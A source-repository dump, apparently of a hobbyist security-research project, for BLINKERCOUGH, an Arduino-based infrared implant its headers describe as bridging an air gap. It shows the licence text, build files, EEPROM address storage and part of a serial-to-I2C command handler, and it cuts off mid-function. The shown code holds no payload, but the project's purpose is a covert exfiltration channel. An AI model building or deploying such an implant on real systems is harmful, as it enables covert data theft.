├── .gitignore ├── .gitmodules ├── COPYING ├── Makefile ├── address.cpp ├── address.h ├── blinkercough.ino ├── blinkercough.py ├── codec.h ├── commander.py ├── crc16.cpp ├── crc16.h ├── i2c.cpp ├── i2c.h ├── irframe.cpp ├── irframe.h ├── libraries └── SoftwareSerial │ ├── IRremoteInt.h │ ├── SoftwareSerial.cpp │ ├── SoftwareSerial.h │ ├── examples │ ├── SoftwareSerialExample │ │ └── SoftwareSerialExample.ino │ └── TwoPortReceive │ │ └── TwoPortReceive.ino │ └── keywords.txt ├── mac.cpp ├── mac.h ├── pcb ├── blinkercough.brd └── blinkercough.sch ├── run ├── util.cpp └── util.h /.gitignore: -------------------------------------------------------------------------------- 1 | *~ 2 | build-* 3 | *.pyc 4 | -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "Arduino-Makefile"] 2 | path = Arduino-Makefile 3 | url = https://github.com/sudar/Arduino-Makefile 4 | [submodule "libraries/EventManager"] 5 | path = libraries/EventManager 6 | url = https://github.com/igormiktor/arduino-EventManager.git 7 | branch = GenericListeners 8 | -------------------------------------------------------------------------------- /COPYING: -------------------------------------------------------------------------------- 1 | GNU LESSER GENERAL PUBLIC LICENSE 2 | Version 2.1, February 1999 3 | 4 | Copyright (C) 1991, 1999 Free Software Foundation, Inc. 5 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 6 | Everyone is permitted to copy and distribute verbatim copies 7 | of this license document, but changing it is not allowed. 8 | 9 | [This is the first released version of the Lesser GPL. It also counts 10 | as the successor of the GNU Library Public License, version 2, hence 11 | the version number 2.1.] 12 | 13 | Preamble 14 | 15 | The licenses for most software are designed to take away your 16 | freedom to share and change it. By contrast, the GNU General Public 17 | Licenses are intended to guarantee your freedom to share and change 18 | free software--to make sure the software is free for all its users. 19 | 20 | This license, the Lesser General Public License, applies to some 21 | specially designated software packages--typically libraries--of the 22 | Free Software Foundation and other authors who decide to use it. You 23 | can use it too, but we suggest you first think carefully about whether 24 | this license or the ordinary General Public License is the better 25 | strategy to use in any particular case, based on the explanations below. 26 | 27 | When we speak of free software, we are referring to freedom of use, 28 | not price. Our General Public Licenses are designed to make sure that 29 | you have the freedom to distribute copies of free software (and charge 30 | for this service if you wish); that you receive source code or can get 31 | it if you want it; that you can change the software and use pieces of 32 | it in new free programs; and that you are informed that you can do 33 | these things. 34 | 35 | To protect your rights, we need to make restrictions that forbid 36 | distributors to deny you these rights or to ask you to surrender these 37 | rights. These restrictions translate to certain responsibilities for 38 | you if you distribute copies of the library or if you modify it. 39 | 40 | For example, if you distribute copies of the library, whether gratis 41 | or for a fee, you must give the recipients all the rights that we gave 42 | you. You must make sure that they, too, receive or can get the source 43 | code. If you link other code with the library, you must provide 44 | complete object files to the recipients, so that they can relink them 45 | with the library after making changes to the library and recompiling 46 | it. And you must show them these terms so they know their rights. 47 | 48 | We protect your rights with a two-step method: (1) we copyright the 49 | library, and (2) we offer you this license, which gives you legal 50 | permission to copy, distribute and/or modify the library. 51 | 52 | To protect each distributor, we want to make it very clear that 53 | there is no warranty for the free library. Also, if the library is 54 | modified by someone else and passed on, the recipients should know 55 | that what they have is not the original version, so that the original 56 | author's reputation will not be affected by problems that might be 57 | introduced by others. 58 | 59 | Finally, software patents pose a constant threat to the existence of 60 | any free program. We wish to make sure that a company cannot 61 | effectively restrict the users of a free program by obtaining a 62 | restrictive license from a patent holder. Therefore, we insist that 63 | any patent license obtained for a version of the library must be 64 | consistent with the full freedom of use specified in this license. 65 | 66 | Most GNU software, including some libraries, is covered by the 67 | ordinary GNU General Public License. This license, the GNU Lesser 68 | General Public License, applies to certain designated libraries, and 69 | is quite different from the ordinary General Public License. We use 70 | this license for certain libraries in order to permit linking those 71 | libraries into non-free programs. 72 | 73 | When a program is linked with a library, whether statically or using 74 | a shared library, the combination of the two is legally speaking a 75 | combined work, a derivative of the original library. The ordinary 76 | General Public License therefore permits such linking only if the 77 | entire combination fits its criteria of freedom. The Lesser General 78 | Public License permits more lax criteria for linking other code with 79 | the library. 80 | 81 | We call this license the "Lesser" General Public License because it 82 | does Less to protect the user's freedom than the ordinary General 83 | Public License. It also provides other free software developers Less 84 | of an advantage over competing non-free programs. These disadvantages 85 | are the reason we use the ordinary General Public License for many 86 | libraries. However, the Lesser license provides advantages in certain 87 | special circumstances. 88 | 89 | For example, on rare occasions, there may be a special need to 90 | encourage the widest possible use of a certain library, so that it becomes 91 | a de-facto standard. To achieve this, non-free programs must be 92 | allowed to use the library. A more frequent case is that a free 93 | library does the same job as widely used non-free libraries. In this 94 | case, there is little to gain by limiting the free library to free 95 | software only, so we use the Lesser General Public License. 96 | 97 | In other cases, permission to use a particular library in non-free 98 | programs enables a greater number of people to use a large body of 99 | free software. For example, permission to use the GNU C Library in 100 | non-free programs enables many more people to use the whole GNU 101 | operating system, as well as its variant, the GNU/Linux operating 102 | system. 103 | 104 | Although the Lesser General Public License is Less protective of the 105 | users' freedom, it does ensure that the user of a program that is 106 | linked with the Library has the freedom and the wherewithal to run 107 | that program using a modified version of the Library. 108 | 109 | The precise terms and conditions for copying, distribution and 110 | modification follow. Pay close attention to the difference between a 111 | "work based on the library" and a "work that uses the library". The 112 | former contains code derived from the library, whereas the latter must 113 | be combined with the library in order to run. 114 | 115 | GNU LESSER GENERAL PUBLIC LICENSE 116 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 117 | 118 | 0. This License Agreement applies to any software library or other 119 | program which contains a notice placed by the copyright holder or 120 | other authorized party saying it may be distributed under the terms of 121 | this Lesser General Public License (also called "this License"). 122 | Each licensee is addressed as "you". 123 | 124 | A "library" means a collection of software functions and/or data 125 | prepared so as to be conveniently linked with application programs 126 | (which use some of those functions and data) to form executables. 127 | 128 | The "Library", below, refers to any such software library or work 129 | which has been distributed under these terms. A "work based on the 130 | Library" means either the Library or any derivative work under 131 | copyright law: that is to say, a work containing the Library or a 132 | portion of it, either verbatim or with modifications and/or translated 133 | straightforwardly into another language. (Hereinafter, translation is 134 | included without limitation in the term "modification".) 135 | 136 | "Source code" for a work means the preferred form of the work for 137 | making modifications to it. For a library, complete source code means 138 | all the source code for all modules it contains, plus any associated 139 | interface definition files, plus the scripts used to control compilation 140 | and installation of the library. 141 | 142 | Activities other than copying, distribution and modification are not 143 | covered by this License; they are outside its scope. The act of 144 | running a program using the Library is not restricted, and output from 145 | such a program is covered only if its contents constitute a work based 146 | on the Library (independent of the use of the Library in a tool for 147 | writing it). Whether that is true depends on what the Library does 148 | and what the program that uses the Library does. 149 | 150 | 1. You may copy and distribute verbatim copies of the Library's 151 | complete source code as you receive it, in any medium, provided that 152 | you conspicuously and appropriately publish on each copy an 153 | appropriate copyright notice and disclaimer of warranty; keep intact 154 | all the notices that refer to this License and to the absence of any 155 | warranty; and distribute a copy of this License along with the 156 | Library. 157 | 158 | You may charge a fee for the physical act of transferring a copy, 159 | and you may at your option offer warranty protection in exchange for a 160 | fee. 161 | 162 | 2. You may modify your copy or copies of the Library or any portion 163 | of it, thus forming a work based on the Library, and copy and 164 | distribute such modifications or work under the terms of Section 1 165 | above, provided that you also meet all of these conditions: 166 | 167 | a) The modified work must itself be a software library. 168 | 169 | b) You must cause the files modified to carry prominent notices 170 | stating that you changed the files and the date of any change. 171 | 172 | c) You must cause the whole of the work to be licensed at no 173 | charge to all third parties under the terms of this License. 174 | 175 | d) If a facility in the modified Library refers to a function or a 176 | table of data to be supplied by an application program that uses 177 | the facility, other than as an argument passed when the facility 178 | is invoked, then you must make a good faith effort to ensure that, 179 | in the event an application does not supply such function or 180 | table, the facility still operates, and performs whatever part of 181 | its purpose remains meaningful. 182 | 183 | (For example, a function in a library to compute square roots has 184 | a purpose that is entirely well-defined independent of the 185 | application. Therefore, Subsection 2d requires that any 186 | application-supplied function or table used by this function must 187 | be optional: if the application does not supply it, the square 188 | root function must still compute square roots.) 189 | 190 | These requirements apply to the modified work as a whole. If 191 | identifiable sections of that work are not derived from the Library, 192 | and can be reasonably considered independent and separate works in 193 | themselves, then this License, and its terms, do not apply to those 194 | sections when you distribute them as separate works. But when you 195 | distribute the same sections as part of a whole which is a work based 196 | on the Library, the distribution of the whole must be on the terms of 197 | this License, whose permissions for other licensees extend to the 198 | entire whole, and thus to each and every part regardless of who wrote 199 | it. 200 | 201 | Thus, it is not the intent of this section to claim rights or contest 202 | your rights to work written entirely by you; rather, the intent is to 203 | exercise the right to control the distribution of derivative or 204 | collective works based on the Library. 205 | 206 | In addition, mere aggregation of another work not based on the Library 207 | with the Library (or with a work based on the Library) on a volume of 208 | a storage or distribution medium does not bring the other work under 209 | the scope of this License. 210 | 211 | 3. You may opt to apply the terms of the ordinary GNU General Public 212 | License instead of this License to a given copy of the Library. To do 213 | this, you must alter all the notices that refer to this License, so 214 | that they refer to the ordinary GNU General Public License, version 2, 215 | instead of to this License. (If a newer version than version 2 of the 216 | ordinary GNU General Public License has appeared, then you can specify 217 | that version instead if you wish.) Do not make any other change in 218 | these notices. 219 | 220 | Once this change is made in a given copy, it is irreversible for 221 | that copy, so the ordinary GNU General Public License applies to all 222 | subsequent copies and derivative works made from that copy. 223 | 224 | This option is useful when you wish to copy part of the code of 225 | the Library into a program that is not a library. 226 | 227 | 4. You may copy and distribute the Library (or a portion or 228 | derivative of it, under Section 2) in object code or executable form 229 | under the terms of Sections 1 and 2 above provided that you accompany 230 | it with the complete corresponding machine-readable source code, which 231 | must be distributed under the terms of Sections 1 and 2 above on a 232 | medium customarily used for software interchange. 233 | 234 | If distribution of object code is made by offering access to copy 235 | from a designated place, then offering equivalent access to copy the 236 | source code from the same place satisfies the requirement to 237 | distribute the source code, even though third parties are not 238 | compelled to copy the source along with the object code. 239 | 240 | 5. A program that contains no derivative of any portion of the 241 | Library, but is designed to work with the Library by being compiled or 242 | linked with it, is called a "work that uses the Library". Such a 243 | work, in isolation, is not a derivative work of the Library, and 244 | therefore falls outside the scope of this License. 245 | 246 | However, linking a "work that uses the Library" with the Library 247 | creates an executable that is a derivative of the Library (because it 248 | contains portions of the Library), rather than a "work that uses the 249 | library". The executable is therefore covered by this License. 250 | Section 6 states terms for distribution of such executables. 251 | 252 | When a "work that uses the Library" uses material from a header file 253 | that is part of the Library, the object code for the work may be a 254 | derivative work of the Library even though the source code is not. 255 | Whether this is true is especially significant if the work can be 256 | linked without the Library, or if the work is itself a library. The 257 | threshold for this to be true is not precisely defined by law. 258 | 259 | If such an object file uses only numerical parameters, data 260 | structure layouts and accessors, and small macros and small inline 261 | functions (ten lines or less in length), then the use of the object 262 | file is unrestricted, regardless of whether it is legally a derivative 263 | work. (Executables containing this object code plus portions of the 264 | Library will still fall under Section 6.) 265 | 266 | Otherwise, if the work is a derivative of the Library, you may 267 | distribute the object code for the work under the terms of Section 6. 268 | Any executables containing that work also fall under Section 6, 269 | whether or not they are linked directly with the Library itself. 270 | 271 | 6. As an exception to the Sections above, you may also combine or 272 | link a "work that uses the Library" with the Library to produce a 273 | work containing portions of the Library, and distribute that work 274 | under terms of your choice, provided that the terms permit 275 | modification of the work for the customer's own use and reverse 276 | engineering for debugging such modifications. 277 | 278 | You must give prominent notice with each copy of the work that the 279 | Library is used in it and that the Library and its use are covered by 280 | this License. You must supply a copy of this License. If the work 281 | during execution displays copyright notices, you must include the 282 | copyright notice for the Library among them, as well as a reference 283 | directing the user to the copy of this License. Also, you must do one 284 | of these things: 285 | 286 | a) Accompany the work with the complete corresponding 287 | machine-readable source code for the Library including whatever 288 | changes were used in the work (which must be distributed under 289 | Sections 1 and 2 above); and, if the work is an executable linked 290 | with the Library, with the complete machine-readable "work that 291 | uses the Library", as object code and/or source code, so that the 292 | user can modify the Library and then relink to produce a modified 293 | executable containing the modified Library. (It is understood 294 | that the user who changes the contents of definitions files in the 295 | Library will not necessarily be able to recompile the application 296 | to use the modified definitions.) 297 | 298 | b) Use a suitable shared library mechanism for linking with the 299 | Library. A suitable mechanism is one that (1) uses at run time a 300 | copy of the library already present on the user's computer system, 301 | rather than copying library functions into the executable, and (2) 302 | will operate properly with a modified version of the library, if 303 | the user installs one, as long as the modified version is 304 | interface-compatible with the version that the work was made with. 305 | 306 | c) Accompany the work with a written offer, valid for at 307 | least three years, to give the same user the materials 308 | specified in Subsection 6a, above, for a charge no more 309 | than the cost of performing this distribution. 310 | 311 | d) If distribution of the work is made by offering access to copy 312 | from a designated place, offer equivalent access to copy the above 313 | specified materials from the same place. 314 | 315 | e) Verify that the user has already received a copy of these 316 | materials or that you have already sent this user a copy. 317 | 318 | For an executable, the required form of the "work that uses the 319 | Library" must include any data and utility programs needed for 320 | reproducing the executable from it. However, as a special exception, 321 | the materials to be distributed need not include anything that is 322 | normally distributed (in either source or binary form) with the major 323 | components (compiler, kernel, and so on) of the operating system on 324 | which the executable runs, unless that component itself accompanies 325 | the executable. 326 | 327 | It may happen that this requirement contradicts the license 328 | restrictions of other proprietary libraries that do not normally 329 | accompany the operating system. Such a contradiction means you cannot 330 | use both them and the Library together in an executable that you 331 | distribute. 332 | 333 | 7. You may place library facilities that are a work based on the 334 | Library side-by-side in a single library together with other library 335 | facilities not covered by this License, and distribute such a combined 336 | library, provided that the separate distribution of the work based on 337 | the Library and of the other library facilities is otherwise 338 | permitted, and provided that you do these two things: 339 | 340 | a) Accompany the combined library with a copy of the same work 341 | based on the Library, uncombined with any other library 342 | facilities. This must be distributed under the terms of the 343 | Sections above. 344 | 345 | b) Give prominent notice with the combined library of the fact 346 | that part of it is a work based on the Library, and explaining 347 | where to find the accompanying uncombined form of the same work. 348 | 349 | 8. You may not copy, modify, sublicense, link with, or distribute 350 | the Library except as expressly provided under this License. Any 351 | attempt otherwise to copy, modify, sublicense, link with, or 352 | distribute the Library is void, and will automatically terminate your 353 | rights under this License. However, parties who have received copies, 354 | or rights, from you under this License will not have their licenses 355 | terminated so long as such parties remain in full compliance. 356 | 357 | 9. You are not required to accept this License, since you have not 358 | signed it. However, nothing else grants you permission to modify or 359 | distribute the Library or its derivative works. These actions are 360 | prohibited by law if you do not accept this License. Therefore, by 361 | modifying or distributing the Library (or any work based on the 362 | Library), you indicate your acceptance of this License to do so, and 363 | all its terms and conditions for copying, distributing or modifying 364 | the Library or works based on it. 365 | 366 | 10. Each time you redistribute the Library (or any work based on the 367 | Library), the recipient automatically receives a license from the 368 | original licensor to copy, distribute, link with or modify the Library 369 | subject to these terms and conditions. You may not impose any further 370 | restrictions on the recipients' exercise of the rights granted herein. 371 | You are not responsible for enforcing compliance by third parties with 372 | this License. 373 | 374 | 11. If, as a consequence of a court judgment or allegation of patent 375 | infringement or for any other reason (not limited to patent issues), 376 | conditions are imposed on you (whether by court order, agreement or 377 | otherwise) that contradict the conditions of this License, they do not 378 | excuse you from the conditions of this License. If you cannot 379 | distribute so as to satisfy simultaneously your obligations under this 380 | License and any other pertinent obligations, then as a consequence you 381 | may not distribute the Library at all. For example, if a patent 382 | license would not permit royalty-free redistribution of the Library by 383 | all those who receive copies directly or indirectly through you, then 384 | the only way you could satisfy both it and this License would be to 385 | refrain entirely from distribution of the Library. 386 | 387 | If any portion of this section is held invalid or unenforceable under any 388 | particular circumstance, the balance of the section is intended to apply, 389 | and the section as a whole is intended to apply in other circumstances. 390 | 391 | It is not the purpose of this section to induce you to infringe any 392 | patents or other property right claims or to contest validity of any 393 | such claims; this section has the sole purpose of protecting the 394 | integrity of the free software distribution system which is 395 | implemented by public license practices. Many people have made 396 | generous contributions to the wide range of software distributed 397 | through that system in reliance on consistent application of that 398 | system; it is up to the author/donor to decide if he or she is willing 399 | to distribute software through any other system and a licensee cannot 400 | impose that choice. 401 | 402 | This section is intended to make thoroughly clear what is believed to 403 | be a consequence of the rest of this License. 404 | 405 | 12. If the distribution and/or use of the Library is restricted in 406 | certain countries either by patents or by copyrighted interfaces, the 407 | original copyright holder who places the Library under this License may add 408 | an explicit geographical distribution limitation excluding those countries, 409 | so that distribution is permitted only in or among countries not thus 410 | excluded. In such case, this License incorporates the limitation as if 411 | written in the body of this License. 412 | 413 | 13. The Free Software Foundation may publish revised and/or new 414 | versions of the Lesser General Public License from time to time. 415 | Such new versions will be similar in spirit to the present version, 416 | but may differ in detail to address new problems or concerns. 417 | 418 | Each version is given a distinguishing version number. If the Library 419 | specifies a version number of this License which applies to it and 420 | "any later version", you have the option of following the terms and 421 | conditions either of that version or of any later version published by 422 | the Free Software Foundation. If the Library does not specify a 423 | license version number, you may choose any version ever published by 424 | the Free Software Foundation. 425 | 426 | 14. If you wish to incorporate parts of the Library into other free 427 | programs whose distribution conditions are incompatible with these, 428 | write to the author to ask for permission. For software which is 429 | copyrighted by the Free Software Foundation, write to the Free 430 | Software Foundation; we sometimes make exceptions for this. Our 431 | decision will be guided by the two goals of preserving the free status 432 | of all derivatives of our free software and of promoting the sharing 433 | and reuse of software generally. 434 | 435 | NO WARRANTY 436 | 437 | 15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO 438 | WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW. 439 | EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR 440 | OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY 441 | KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE 442 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 443 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE 444 | LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME 445 | THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 446 | 447 | 16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN 448 | WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY 449 | AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU 450 | FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR 451 | CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE 452 | LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING 453 | RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A 454 | FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF 455 | SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH 456 | DAMAGES. 457 | 458 | END OF TERMS AND CONDITIONS 459 | 460 | How to Apply These Terms to Your New Libraries 461 | 462 | If you develop a new library, and you want it to be of the greatest 463 | possible use to the public, we recommend making it free software that 464 | everyone can redistribute and change. You can do so by permitting 465 | redistribution under these terms (or, alternatively, under the terms of the 466 | ordinary General Public License). 467 | 468 | To apply these terms, attach the following notices to the library. It is 469 | safest to attach them to the start of each source file to most effectively 470 | convey the exclusion of warranty; and each file should have at least the 471 | "copyright" line and a pointer to where the full notice is found. 472 | 473 | 474 | Copyright (C) 475 | 476 | This library is free software; you can redistribute it and/or 477 | modify it under the terms of the GNU Lesser General Public 478 | License as published by the Free Software Foundation; either 479 | version 2.1 of the License, or (at your option) any later version. 480 | 481 | This library is distributed in the hope that it will be useful, 482 | but WITHOUT ANY WARRANTY; without even the implied warranty of 483 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 484 | Lesser General Public License for more details. 485 | 486 | You should have received a copy of the GNU Lesser General Public 487 | License along with this library; if not, write to the Free Software 488 | Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 489 | 490 | Also add information on how to contact you by electronic and paper mail. 491 | 492 | You should also get your employer (if you work as a programmer) or your 493 | school, if any, to sign a "copyright disclaimer" for the library, if 494 | necessary. Here is a sample; alter the names: 495 | 496 | Yoyodyne, Inc., hereby disclaims all copyright interest in the 497 | library `Frob' (a library for tweaking knobs) written by James Random Hacker. 498 | 499 | , 1 April 1990 500 | Ty Coon, President of Vice 501 | 502 | That's all there is to it! 503 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | # 2 | # BLINKERCOUGH: NSA Playset implant for IR bridging of airgap 3 | # 4 | # Copyright (C) 2015 Hacker, J.R. 5 | # 6 | # This library is free software; you can redistribute it and/or 7 | # modify it under the terms of the GNU Lesser General Public 8 | # License as published by the Free Software Foundation; either 9 | # version 2.1 of the License, or (at your option) any later version. 10 | # 11 | # This library is distributed in the hope that it will be useful, 12 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 14 | # Lesser General Public License for more details. 15 | # 16 | # You should have received a copy of the GNU Lesser General Public 17 | # License along with this library; if not, write to the Free Software 18 | # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 19 | 20 | ARDUINO_DIR = /usr/share/arduino 21 | ARDMK_DIR = Arduino-Makefile 22 | AVR_TOOLS_DIR = /usr 23 | 24 | USER_LIB_PATH = libraries 25 | 26 | TARGET = blinkercough 27 | ARDUINO_LIBS = SoftwareSerial EventManager/EventManager Wire EEPROM 28 | 29 | ISP_PROG = usbasp 30 | BOARD_TAG = nano328 31 | ARDUINO_PORT = /dev/ttyUSB0 32 | MONITOR_BAUDRATE = 115200 33 | CXXFLAGS_STD = -std=c++11 34 | 35 | include Arduino-Makefile/Arduino.mk 36 | -------------------------------------------------------------------------------- /address.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | * BLINKERCOUGH: NSA Playset implant for IR bridging of airgap 3 | * 4 | * Copyright (C) 2015 Hacker, J.R. 5 | * 6 | * This library is free software; you can redistribute it and/or 7 | * modify it under the terms of the GNU Lesser General Public 8 | * License as published by the Free Software Foundation; either 9 | * version 2.1 of the License, or (at your option) any later version. 10 | * 11 | * This library is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 14 | * Lesser General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU Lesser General Public 17 | * License along with this library; if not, write to the Free Software 18 | * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 19 | */ 20 | 21 | #include "address.h" 22 | #include 23 | #include 24 | #include 25 | 26 | const PROGMEM char* const magic = "NSA PLAYSET"; 27 | 28 | AddressStorageClass AddressStorage; 29 | 30 | AddressStorageClass::AddressStorageClass() 31 | { 32 | } 33 | 34 | void AddressStorageClass::begin() 35 | { 36 | randomSeed(analogRead(0)); 37 | } 38 | 39 | void AddressStorageClass::store(uint16_t addresss) 40 | { 41 | /* if there is no header, put one there */ 42 | if (!present()) { 43 | write_header(); 44 | } 45 | const auto offset = strlen_P(magic); 46 | EEPROM.write(offset+1, lowByte(addresss)); 47 | EEPROM.write(offset+2, highByte(addresss)); 48 | } 49 | 50 | bool AddressStorageClass::present() 51 | { 52 | for (size_t i = 0; i < strlen_P(magic); i++) { 53 | auto b = EEPROM.read(i); 54 | if (b != pgm_read_byte_near(magic+i)) { 55 | return false; 56 | } 57 | } 58 | return true; 59 | } 60 | 61 | uint16_t AddressStorageClass::load() 62 | { 63 | union Splitter { 64 | uint16_t address; 65 | uint8_t bytes[2]; 66 | } splitter; 67 | const auto offset = strlen_P(magic); 68 | splitter.bytes[0] = EEPROM.read(offset+1); 69 | splitter.bytes[1] = EEPROM.read(offset+2); 70 | return splitter.address; 71 | } 72 | 73 | uint16_t AddressStorageClass::generate() 74 | { 75 | return random(4096); 76 | } 77 | 78 | void AddressStorageClass::write_header() 79 | { 80 | for (size_t i = 0; i < strlen_P(magic); i++) { 81 | EEPROM.write(i, pgm_read_byte_near(magic+i)); 82 | } 83 | } 84 | 85 | /* 86 | * Editor modelines - https://www.wireshark.org/tools/modelines.html 87 | * 88 | * Local variables: 89 | * mode: c++ 90 | * c-basic-offset: 4 91 | * tab-width: 8 92 | * indent-tabs-mode: nil 93 | * End: 94 | * 95 | * vi: set shiftwidth=4 tabstop=8 expandtab: 96 | * :indentSize=4:tabSize=8:noTabs=true: 97 | */ 98 | -------------------------------------------------------------------------------- /address.h: -------------------------------------------------------------------------------- 1 | /* 2 | * BLINKERCOUGH: NSA Playset implant for IR bridging of airgap 3 | * 4 | * Copyright (C) 2015 Hacker, J.R. 5 | * 6 | * This library is free software; you can redistribute it and/or 7 | * modify it under the terms of the GNU Lesser General Public 8 | * License as published by the Free Software Foundation; either 9 | * version 2.1 of the License, or (at your option) any later version. 10 | * 11 | * This library is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 14 | * Lesser General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU Lesser General Public 17 | * License along with this library; if not, write to the Free Software 18 | * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 19 | */ 20 | 21 | #ifndef _ADDRESS_H 22 | #define _ADDRESS_H 23 | 24 | #include 25 | 26 | 27 | class AddressStorageClass 28 | { 29 | public: 30 | AddressStorageClass(); 31 | void begin(); 32 | void store(uint16_t address); 33 | bool present(); 34 | uint16_t load(); 35 | uint16_t generate(); 36 | private: 37 | void write_header(); 38 | }; 39 | 40 | extern AddressStorageClass AddressStorage; 41 | 42 | #endif /* _ADDRESS_H */ 43 | 44 | /* 45 | * Editor modelines - https://www.wireshark.org/tools/modelines.html 46 | * 47 | * Local variables: 48 | * mode: c++ 49 | * c-basic-offset: 4 50 | * tab-width: 8 51 | * indent-tabs-mode: nil 52 | * End: 53 | * 54 | * vi: set shiftwidth=4 tabstop=8 expandtab: 55 | * :indentSize=4:tabSize=8:noTabs=true: 56 | */ 57 | -------------------------------------------------------------------------------- /blinkercough.ino: -------------------------------------------------------------------------------- 1 | /* 2 | * BLINKERCOUGH: NSA Playset implant for IR bridging of airgap 3 | * 4 | * Copyright (C) 2015 Hacker, J.R. 5 | * 6 | * This library is free software; you can redistribute it and/or 7 | * modify it under the terms of the GNU Lesser General Public 8 | * License as published by the Free Software Foundation; either 9 | * version 2.1 of the License, or (at your option) any later version. 10 | * 11 | * This library is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 14 | * Lesser General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU Lesser General Public 17 | * License along with this library; if not, write to the Free Software 18 | * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 19 | */ 20 | 21 | #include "irframe.h" 22 | #include "codec.h" 23 | #include "mac.h" 24 | #include "i2c.h" 25 | #include "util.h" 26 | #include "address.h" 27 | #include 28 | #include 29 | #include 30 | #include 31 | #include 32 | #include 33 | #include 34 | 35 | 36 | #define READ_CMD "READ " 37 | #define WRITE_CMD "WRITE " 38 | 39 | //SERIAL PROTOCOL 40 | // gives register interface like i2cregs 41 | // 42 | // PC says: READ_REGISTER 43 | // BC replies: 44 | // 45 | // PC says: WRITE_REGISTER 46 | // BC replies 47 | // 48 | // BC may give debug information with prefix 49 | // DBG: 50 | 51 | 52 | EventManager eventManager; 53 | 54 | 55 | char commandbuf[21]; 56 | uint8_t pos = 0; 57 | 58 | typedef void (*CB)(int eventCode, int eventParam); 59 | 60 | #define IREVENT EventManager::kEventUser0 61 | 62 | static void process_command(char i) 63 | { 64 | if ((i != '\n' && i != '\r') && pos < sizeof(commandbuf)-1) { 65 | commandbuf[pos] = i; 66 | pos++; 67 | return; 68 | } 69 | // a whole command is in buffer 70 | //clear out any remaining input 71 | while(Serial.available()) { 72 | (void)Serial.read(); 73 | } 74 | 75 | //debug("cmd buf \"%s\"", commandbuf); 76 | if (strncmp_P(commandbuf, PSTR(READ_CMD), sizeof(READ_CMD)-1) == 0) { 77 | int address; 78 | 79 | sscanf_P(commandbuf, PSTR(READ_CMD "%x"), &address); 80 | auto data = i2cRegs.read(address); 81 | printf("%02x\n", data); 82 | } else if (strncmp_P(commandbuf, PSTR(WRITE_CMD), sizeof(WRITE_CMD)-1) == 0) { 83 | int address; 84 | int data; 85 | sscanf_P(commandbuf, PSTR(WRITE_CMD "%x %x"), &address, &data); 86 | i2cRegs.write(address, data); 87 | } else { 88 | commandbuf[sizeof(commandbuf)-1] = 0; 89 | debug("invalid command: '%s'", commandbuf); 90 | } 91 | 92 | pos = 0; 93 | memset((void*)commandbuf, 0, sizeof(commandbuf)); 94 | return; 95 | } 96 | 97 | static void serialCallback(__attribute__((unused)) int event, char c) 98 | { 99 | process_command(c); 100 | } 101 | GenericCallable serialCB((CB)serialCallback); 102 | 103 | static void irSerialCallback(__attribute__((unused)) int event, char c) 104 | { 105 | mac.recv(c); 106 | } 107 | GenericCallable irSerialCB((CB)irSerialCallback); 108 | 109 | static void FrameCallback(int event, IRFrame *frame) 110 | { 111 | if (event == BlinkerMac::ValidFrameRecievedEvent) { 112 | debugstart("packet from: 0x%04x to: ", frame->source); 113 | if (frame->destination == mac.get_address()) { 114 | debugcont("ME"); 115 | } else { 116 | debugcont("0x4x", frame->destination); 117 | } 118 | debugend(); 119 | //we don't call free here b/c 120 | //i2cRegisters::recvHook does 121 | //this is hack b/c event manager 122 | //can't free resources 123 | // see https://github.com/igormiktor/arduino-EventManager/issues/7 124 | } else if (event == BlinkerMac::InvalidFrameRecievedEvent) { 125 | debug("Invalid packet recieved!"); 126 | IRFrame::hexdump(frame); 127 